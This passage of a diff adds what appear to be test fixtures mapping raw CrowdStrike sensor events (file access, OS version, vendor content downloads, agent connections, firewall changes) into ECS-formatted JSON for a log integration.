"ffffffff8eca418b7a861be9c5f7de1d" + }, + "event": { + "action": "CriticalFileAccessed", + "category": [ + "file" + ], + "created": "2021-07-07T17:03:58.553Z", + "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "alert", + "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1625677438.515\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053399098988534\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"384\",\"Entitlements\":\"15\",\"name\":\"CriticalFileAccessedMacV1\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"timestamp\":\"1625677438553\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/dslocal/nodes/Default/users/daemon.plist\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "/private/var/db/dslocal/nodes/Default/users", + "extension": "plist", + "name": "daemon.plist", + "path": "/private/var/db/dslocal/nodes/Default/users/daemon.plist", + "type": "file" + }, + "host": { + "id": "ffffffff8eca418b7a861be9c5f7de1d", + "os": { + "type": "macos" + } + }, + "message": "CriticalFileAccessed", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff8eca418b7a861be9c5f7de1d", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365053399098988534", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2021-07-07T17:04:22.356Z", + "crowdstrike": { + "ConfigBuild": "1007.4.0013701.1", + "ConfigStateHash": "3967242894", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "MajorVersion": "19", + "MinorVersion": "6", + "OSVersionFileData": "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a", + "OSVersionFileName": "/System/Library/CoreServices/SystemVersion.plist", + "RFMState": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", + "name": "OsVersionInfoMacV3" + }, + "device": { + "id": "ffffffffbea440b9aad8b5bf222d303f" + }, + "event": { + "action": "OsVersionInfo", + "category": [ + "host" + ], + "created": "2021-07-07T17:04:22.356Z", + "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"MajorVersion\":\"19\",\"event_simpleName\":\"OsVersionInfo\",\"OSVersionFileData\":\"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a\",\"ConfigStateHash\":\"3967242894\",\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"MinorVersion\":\"6\",\"OSVersionString\":\"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OsVersionInfoMacV3\",\"RFMState\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"OSVersionFileName\":\"/System/Library/CoreServices/SystemVersion.plist\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677462356\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffffbea440b9aad8b5bf222d303f", + "os": { + "type": "macos", + "version": "Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64" + } + }, + "message": "OsVersionInfo", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffbea440b9aad8b5bf222d303f", + "version": "6.24.13701.0" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:03:56.454Z", + "crowdstrike": { + "ConfigStateData": [ + "0,0,1007.8.0010912.1", + "1,c,0", + "1,10,1", + "1,11,0", + "1,12,1", + "1,13,1", + "1,14,19", + "1,15,3", + "1,1f,4", + "1,22,3", + "1,3b,1", + "1,59,2d", + "1,d3,263", + "1,d4,0", + "1,eb,36", + "1,201,1", + "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205" + ], + "ConfigStateHash": "1284133626", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8e88-068a8894a447", + "name": "ConfigStateUpdateLinV1" + }, + "device": { + "id": "ffffffff4f4044b689d6420d303e4ecd" + }, + "event": { + "action": "ConfigStateUpdate", + "category": [ + "configuration" + ], + "created": "2021-07-07T17:03:56.454Z", + "id": "ffffffff-1111-11eb-8e88-068a8894a447|ffffffff4f4044b689d6420d303e4ecd|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.8.0010912.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1284133626\",\"ConfigStateData\":\"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-8e88-068a8894a447\",\"aid\":\"ffffffff4f4044b689d6420d303e4ecd\",\"timestamp\":\"1625677436454\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff4f4044b689d6420d303e4ecd", + "os": { + "type": "linux" + } + }, + "message": "ConfigStateUpdate", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff4f4044b689d6420d303e4ecd", + "version": "1007.8.0010912.1" + }, + "related": { + "hash": [ + "1284133626" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:02:45.906Z", + "crowdstrike": { + "CompletionEventId": "Event_KmaExtDownloadCompleteLinV1", + "ConfigStateHash": "1333055909", + "DownloadPort": 443, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8dee-0201f64cca29", + "name": "LFODownloadConfirmationLinV1" + }, + "device": { + "id": "ffffffff88b948c6abeeee910f6d8c33" + }, + "event": { + "action": "LFODownloadConfirmation", + "category": [ + "file" + ], + "created": "2021-07-07T17:02:45.906Z", + "id": "ffffffff-1111-11eb-8dee-0201f64cca29|ffffffff88b948c6abeeee910f6d8c33|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"1333055909\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"LFODownloadConfirmationLinV1\",\"CompletionEventId\":\"Event_KmaExtDownloadCompleteLinV1\",\"id\":\"ffffffff-1111-11eb-8dee-0201f64cca29\",\"aid\":\"ffffffff88b948c6abeeee910f6d8c33\",\"timestamp\":\"1625677365906\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"KernelModuleArchiveExt11611\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "path": "KernelModuleArchiveExt11611", + "type": "file" + }, + "host": { + "id": "ffffffff88b948c6abeeee910f6d8c33", + "os": { + "type": "linux" + } + }, + "message": "LFODownloadConfirmation", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff88b948c6abeeee910f6d8c33", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1333055909" + ], + "ip": [ + "67.43.156.14" + ] + }, + "server": { + "address": "lfodown01-b.cloudsink.net", + "domain": "lfodown01-b.cloudsink.net", + "registered_domain": "cloudsink.net", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + }, + "tags": [ + "preserve_original_event" + ], + "url": { + "domain": "lfodown01-b.cloudsink.net", + "original": "https://lfodown01-b.cloudsink.net/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53", + "path": "/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53", + "registered_domain": "cloudsink.net", + "scheme": "https", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + } + }, + { + "@timestamp": "2021-07-07T17:02:33.895Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365049009681176519", + "ContextTimeStamp": "2021-07-07T17:02:33.633Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9497-028a0bfcf603", + "name": "TarFileWrittenMacV1" + }, + "device": { + "id": "ffffffffe6244708bd09a6c111f63f4a" + }, + "event": { + "action": "TarFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:02:33.895Z", + "id": "ffffffff-1111-11eb-9497-028a0bfcf603|ffffffffe6244708bd09a6c111f63f4a|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1625677353.633\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365049009681176519\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"050000010000000000000000000000005749420100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"TarFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9497-028a0bfcf603\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe6244708bd09a6c111f63f4a\",\"timestamp\":\"1625677353895\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache", + "extension": "gem", + "inode": "050000010000000000000000000000005749420100000000", + "name": "database_cleaner-1.8.5.gem", + "path": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem", + "type": "file" + }, + "host": { + "id": "ffffffffe6244708bd09a6c111f63f4a", + "os": { + "type": "macos" + } + }, + "message": "TarFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffe6244708bd09a6c111f63f4a", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365049009681176519", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:02:30.466Z", + "crowdstrike": { + "ConfigIDBase": "65994753", + "ConfigIDBuild": "13701", + "ConfigIDPlatform": "4", + "ConfigStateHash": "3967242894", + "ConfigurationVersion": "10", + "ConnectTime": "2021-07-07T17:02:30.208Z", + "ConnectType": "1", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "FailedConnectCount": 404, + "NetworkContainmentState": "0", + "PreviousConnectTime": "2021-07-07T16:06:03.331Z", + "ProvisionState": "0", + "VerifiedCertificate": "7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-ba54-02a3616f6acd", + "name": "AgentConnectMacV5" + }, + "device": { + "id": "ffffffff2977460db2898ece881a9358" + }, + "event": { + "action": "AgentConnect", + "category": [ + "network", + "session" + ], + "created": "2021-07-07T17:02:30.466Z", + "id": "ffffffff-1111-11eb-ba54-02a3616f6acd|ffffffff2977460db2898ece881a9358|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"AgentConnect\",\"ConfigStateHash\":\"3967242894\",\"NetworkContainmentState\":\"0\",\"VerifiedCertificate\":\"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"FailedConnectCount\":\"404\",\"ConnectType\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"AgentConnectMacV5\",\"ConfigIDPlatform\":\"4\",\"PreviousConnectTime\":\"1625673963.331\",\"id\":\"ffffffff-1111-11eb-ba54-02a3616f6acd\",\"ConfigIDBuild\":\"13701\",\"ConnectTime\":\"1625677350.208\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2977460db2898ece881a9358\",\"ProvisionState\":\"0\",\"timestamp\":\"1625677350466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "connection", + "info" + ] + }, + "host": { + "id": "ffffffff2977460db2898ece881a9358", + "os": { + "type": "macos" + } + }, + "message": "AgentConnect", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff2977460db2898ece881a9358", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:25.235Z", + "crowdstrike": { + "CompletionEventId": "Event_ChannelDataDownloadCompleteMacV1", + "ConfigStateHash": "3090255842", + "DownloadPort": 443, + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8b09-069ee8920171", + "name": "LFODownloadConfirmationMacV1" + }, + "device": { + "id": "ffffffff5e8b4724aa10088c4f71cd9a" + }, + "event": { + "action": "LFODownloadConfirmation", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:25.235Z", + "id": "ffffffff-1111-11eb-8b09-069ee8920171|ffffffff5e8b4724aa10088c4f71cd9a|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LFODownloadConfirmationMacV1\",\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteMacV1\",\"id\":\"ffffffff-1111-11eb-8b09-069ee8920171\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff5e8b4724aa10088c4f71cd9a\",\"timestamp\":\"1625677525235\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"C-00000503-00000000-00000001.sys\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "path": "C-00000503-00000000-00000001.sys", + "type": "file" + }, + "host": { + "id": "ffffffff5e8b4724aa10088c4f71cd9a", + "os": { + "type": "macos" + } + }, + "message": "LFODownloadConfirmation", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff5e8b4724aa10088c4f71cd9a", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "server": { + "address": "lfodown01-b.cloudsink.net", + "domain": "lfodown01-b.cloudsink.net", + "registered_domain": "cloudsink.net", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + }, + "tags": [ + "preserve_original_event" + ], + "url": { + "domain": "lfodown01-b.cloudsink.net", + "extension": "sys", + "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys", + "path": "/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys", + "registered_domain": "cloudsink.net", + "scheme": "https", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + } + }, + { + "@timestamp": "2021-07-07T17:04:42.403Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextProcessId": "364936256754041721", + "ContextTimeStamp": "2021-07-07T17:04:42.148Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "VnodeModificationType": "6", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9e50-064be6e56df7", + "name": "AsepFileChangeMacV1" + }, + "device": { + "id": "fffffffff1a64286a233d09974b1b377" + }, + "event": { + "action": "AsepFileChange", + "category": [ + "file" + ], + "created": "2021-07-07T17:04:42.403Z", + "id": "ffffffff-1111-11eb-9e50-064be6e56df7|fffffffff1a64286a233d09974b1b377|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"AsepFileChange\",\"ContextTimeStamp\":\"1625677482.148\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364936256754041721\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"AsepFileChangeMacV1\",\"id\":\"ffffffff-1111-11eb-9e50-064be6e56df7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffff1a64286a233d09974b1b377\",\"timestamp\":\"1625677482403\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs\",\"VnodeModificationType\":\"6\"}", + "outcome": "success", + "type": [ + "creation", + "change" + ] + }, + "file": { + "directory": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS", + "name": "SystemPrefs", + "path": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs", + "type": "file" + }, + "host": { + "id": "fffffffff1a64286a233d09974b1b377", + "os": { + "type": "macos" + } + }, + "message": "AsepFileChange", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffff1a64286a233d09974b1b377", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364936256754041721", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:11.067Z", + "crowdstrike": { + "ConfigStateHash": "1284133626", + "ContextProcessId": "130732827553316", + "ContextTimeStamp": "2021-07-07T17:05:10.959Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-97d0-02b2813216eb", + "name": "TerminateProcessLinV2" + }, + "device": { + "id": "ffffffffdd094539a02b394c69a70aaf" + }, + "event": { + "action": "TerminateProcess", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:11.067Z", + "id": "ffffffff-1111-11eb-97d0-02b2813216eb|ffffffffdd094539a02b394c69a70aaf|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"76482\",\"ContextTimeStamp\":\"1625677510.959\",\"ConfigStateHash\":\"1284133626\",\"ContextProcessId\":\"130732827553316\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0010912.1\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"130732827553316\",\"Entitlements\":\"15\",\"name\":\"TerminateProcessLinV2\",\"id\":\"ffffffff-1111-11eb-97d0-02b2813216eb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffdd094539a02b394c69a70aaf\",\"timestamp\":\"1625677511067\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffffdd094539a02b394c69a70aaf", + "os": { + "type": "linux" + } + }, + "message": "TerminateProcess", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffdd094539a02b394c69a70aaf", + "version": "1007.8.0010912.1" + }, + "process": { + "entity_id": "130732827553316", + "pid": 76482, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "1284133626" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:02:52.544Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a9e6-067d21325a03", + "name": "FirewallEnabledMacV1" + }, + "device": { + "id": "ffffffff70cf4070af024397f25007c7" + }, + "event": { + "action": "FirewallEnabled", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:02:52.544Z", + "id": "ffffffff-1111-11eb-a9e6-067d21325a03|ffffffff70cf4070af024397f25007c7|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0013701.1\",\"event_simpleName\":\"FirewallEnabled\",\"event_platform\":\"Mac\",\"ConfigStateHash\":\"3090255842\",\"Entitlements\":\"15\",\"name\":\"FirewallEnabledMacV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-a9e6-067d21325a03\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff70cf4070af024397f25007c7\",\"timestamp\":\"1625677372544\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff70cf4070af024397f25007c7", + "os": { + "type": "macos" + } + }, + "message": "FirewallEnabled", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff70cf4070af024397f25007c7", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:02:14.451Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextTimeStamp": "2021-07-07T17:02:12.283Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "VolumeIsNetwork": "0", + "VolumeMediaBSDName": "disk2s2", + "VolumeMountPoint": "/private/tmp/KSInstallAction.dn6J5Xa1M4/m", + "VolumeName": "Install Google Drive", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5", + "name": "FsVolumeUnmountedMacV1" + }, + "device": { + "id": "ffffffffed984e248973f3ada1eb543d" + }, + "event": { + "action": "FsVolumeUnmounted", + "category": [ + "host" + ], + "created": "2021-07-07T17:02:14.451Z", + "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5|ffffffffed984e248973f3ada1eb543d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"FsVolumeUnmounted\",\"VolumeName\":\"Install Google 